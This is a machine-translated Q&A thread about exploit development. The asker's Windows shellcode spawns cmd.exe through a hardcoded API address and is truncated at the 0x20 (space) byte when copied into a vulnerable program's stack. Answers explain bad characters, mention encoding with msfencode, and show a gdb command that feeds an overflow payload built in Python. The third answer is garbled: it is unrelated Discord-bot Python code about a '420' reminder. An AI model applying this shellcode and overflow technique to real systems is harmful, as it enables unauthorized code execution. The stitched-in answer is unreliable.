shellcode被\ x20截断

时间:2010-03-18 02:17:44

标签: exploit shellcode winexe

为什么我的shellcode在\x20操作码之后被截断,当它被字符串复制到第二个易受攻击程序的堆栈上时?

--cmd.exe--
 char shell[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space 
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--

4 个答案:

答案 0 :(得分:1)

您是否将此shellcode作为命令行参数传递?在这种情况下,请查看0x20的ASCII代码;)

答案 1 :(得分:0)

我的理论是,诸如quote,space,null之类的东西正在被windows shell解释而不是被发送出去。你可以以某种方式逃避它,但我认为只编码shellcode更容易。因此,尝试使用metasploit的msfencode实用程序来完全避免这些操作码。我知道null(/ x00),space(/ x20)和quote(/ x22)不能直接传递,但我想还有其他的操作码也不能传递。

这是我的解决方案,但有没有人知道其他更好的?

答案 2 :(得分:0)

在整个命令周围加上双引号。 例如,运行:

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"

答案 3 :(得分:0)

@tasks.loop(seconds = 5.0) async def remind420(self): print("YES") print(datetime.now().strftime("%H:%M")) if datetime.now().strftime("%H:%M") == "16:55" or datetime.now().strftime("%H:%M") == "04:20": await client.get_channel(499245707081940995).send("420!!") @remind420.before_loop async def remind420_before(): await client.wait_until_ready() remind420.start() 类似于\x20的ASCII格式